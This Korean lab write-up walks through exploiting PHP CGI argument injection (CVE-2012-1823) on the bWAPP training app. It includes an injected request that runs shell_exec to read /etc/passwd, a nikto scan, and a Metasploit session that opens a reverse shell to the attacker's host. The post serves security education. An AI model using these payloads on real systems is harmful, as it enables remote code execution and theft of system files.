정보보안(구버전)/ bWAPP 2019. 2. 25. 16:08
웹 해킹 bWAPP - 106. A9 - Using Known Vulnerable Components - PHP CGI Remote Code Execution
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Using Known Vulnerable Components
- OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용
- 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이
가능한 취약점이다.
2. CGI
- CGI : Common Gateway Interface
- 서버가 클라이언트로부터 요청을 수신하면, 이 요청이 어플리케이션에서 처리되어야 할 경우, 서버가 어플리케이션을
실행시키고 이에 대한 응답을 받는 기능을 수행한다.
- Ex) 브라우저가 서버를 경유하여 DB 서버에 질의를 내는 웹페이지를 작성할 때 사용함
3. PHP CGI Remote Code Execution
- PHP가 CGI 기반으로 동작할때 CGI 스크립트가 질의 문자열을 제대로 처리하지 못하여 발생하는 취약점이다.
- CVE 2012-1823 취약점 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823
'php5-cgi' 도움말 확인
bee@bee-box:/var/www/bWAPP$ php5-cgi --help
|
[참고] php-cgi 취약점 테스트 명령어
allow_url_fopen=1 외부의 URL로부터 파일을 읽어옴
allow_url_include= 1 외부의 파일을 incoud, includ_once, require, require_once와 같은 파일로 include 허용함
auto_prepend_file=php://input HTTP Request Body로부터 데이터를 갖고와 실행함
3. Using Known Vulnerable Components - PHP CGI Remote Code Execution
- 이 시나리오는 PHP CGI 옵션(-s, -d) 취약점을 이용하여 리버스 쉘 획득, 시스템 특정 파일을 획득하는 내용이다.
Ex1) Using Known Vulnerable Components - PHP CGI Remote Code Execution 이해 I
보안 레벨 선택 및 시나리오 선택
'exploit'을 클릭하면 CVE-2013-1823 링크로 연결됨
'-s' 옵션을 이용한 PHP CGI 취약점 확인
Ex2) Using Known Vulnerable Components - PHP CGI Remote Code Execution 이해 II
'-d' 옵션과 'allow_prepend_file=php://input'를 이용한 PHP CGI 취약점 확인
Intercept -> 'Intercept is on' 으로 변경 실시
106-2. bWAPP admin 페이지 URL.txt
bWAPP admin 페이지 접속
버프슈트 Intercept 내용 확인
URL과 Body 내용 변경
('-d' 옵션 & 'allow_url_include= 1' & ' 'allow_prepend_file=php://input'을 이용한 PHP CGI 취약점 공격)
GET /bWAPP/admin/ HTTP/1.1 <- 기존 내용
GET /bWAPP/admin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 <- 변경 내용
Host: 192.168.20.205 User-Agent: Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=20eddc35b03278719e86a5b6b7721f2b; security_level=0 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
<?php $output = shell_exec("cat /etc/passwd"); echo "$output"; die; <- 추가 내용 |
URL & Body 변경 내용 확인 -> 'Forward' 버튼 클릭
'Intercept is on'를 클릭하여 off 실시
'Intercept is off' 확인
PHP CGI 취약점 확인
Ex3) Using Known Vulnerable Components - PHP CGI Remote Code Execution 이해 III
bWAPP 스캔 실시
root@kali:~# nikto -host 192.168.20.205 2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g size: 588, mtime: Mon Nov 3 03:20:24 2Z014 |
메타스플로잇을 이용한 PHP CGI 취약점을 이용한 러버스 쉘 확인
root@kali:~# msfconsole -q Matching Modules Name Disclosure Date Rank Description
msf exploit(multi/http/php_cgi_arg_injection) > set rhost 192.168.20.205
[*] Started reverse TCP handler on 192.168.20.50:4444
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bee-box:/var/www/bWAPP/admin$ www-data@bee-box:/var/www/bWAPP/admin$ cat /etc/passwd
www-data@bee-box:/var/www/bWAPP/admin$ (Ctrl+c)
[*] 192.168.20.205 - Command shell session 1 closed. Reason: User exit
|
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 106. A9 - bWAPP Using Known Vulnerable Components - PHP CGI Remote Code Execution